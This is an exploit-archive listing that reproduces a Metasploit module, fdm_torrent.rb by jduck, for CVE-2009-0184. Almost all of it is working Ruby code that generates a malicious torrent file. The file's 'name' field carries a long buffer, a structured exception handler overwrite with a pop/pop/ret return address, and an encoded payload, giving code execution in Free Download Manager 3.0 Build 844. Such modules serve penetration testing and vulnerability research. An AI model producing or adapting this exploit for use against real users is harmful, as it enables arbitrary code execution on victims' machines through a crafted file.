Free Download Manager Torrent File Parsing Multiple Remote BOF

==========================================================================================
Free Download Manager Torrent File Parsing Multiple Remote Buffer Overflow Vulnerabilities
==========================================================================================


# Title: Free Download Manager Torrent File Parsing Multiple Remote Buffer Overflow Vulnerabilities
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Carsten Eiram
# Published: 2009-11-11
# Verified: yes

view source
print?
##
# $Id: fdm_torrent.rb 7455 2009-11-10 21:52:17Z jduck $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
 
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
         
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Free Download Manager Torrent Parsing Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Free Download Manager
                    3.0 Build 844. Arbitrary code execution could occur when parsing a
                    specially crafted torrent file.
            },
            'License'        => MSF_LICENSE,
            'Author'         => 'jduck',
            'Version'        => '$Revision: 7455 $',
            'References'     =>
                [
                    [ 'CVE', '2009-0184' ],
                    [ 'OSVDB', '54033' ],
                    [ 'BID', '33555' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },                 
            'Payload'        =>
                {
                    'Space'    => 1024,
                    'DisableNops'   =>  'True',
                    'BadChars' => "\x00",
                    'StackAdjustment' => -3500,
                    'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Free Download Manager 3.0 (Build 844)',
                        {
                            'Ret' => 0x7605112c # pop/pop/ret @ msvcp60.dll
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'February 2 2009',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',  'msf.torrent']),
            ], self.class)
    end
 
    def exploit
        x = ""
 
        bof = rand_text_alphanumeric(10004) + generate_seh_payload(target.ret)
        # hit the end of the stack...
        bof << rand_text(20000)
         
        len = rand(10*1024*1024)
        info_hash = {
            'length' => len,
            'name' => bof,
            'piece length' => len + rand(262144 - len),
            'pieces' => rand_text(20),
        }
           
        ann_hash = {
            'info' => info_hash,
        }
           
        encoded = bencode_hash(ann_hash)
         
        print_status("Creating '#{datastore['FILENAME']}' file ...")
 
        file_create(encoded)
         
    end
     
    # bencoding functions:
    #
    # http://wiki.theory.org/BitTorrentSpecification
    #
    def bencode_string(str)
        ret = "%d:" % str.length
        ret << str
        return ret
    end
 
    def bencode_int(int)
        ret = "i%de" % int
        return ret
    end
 
    def bencode_item(item)
        case item
        when Fixnum
            return bencode_int(item)
        when String
            return bencode_string(item)
        when Hash
            return bencode_hash(item)
        else
            throw("unsupported bencode data type! " + item.testzt)
        end
    end
     
    def bencode_list(list)
        ret = "l"
        list.each do |el|
            ret << bencode_item(el)
        end
        ret << "e"
        return ret
    end
 
    def bencode_hash(hash)
        ret = "d"
        hash.keys.sort.each do |k|
            ret << bencode_item(k)
            ret << bencode_item(hash[k])
        end
        ret << "e"
        return ret
    end
     
end



#  0day.today [2018-04-12]  #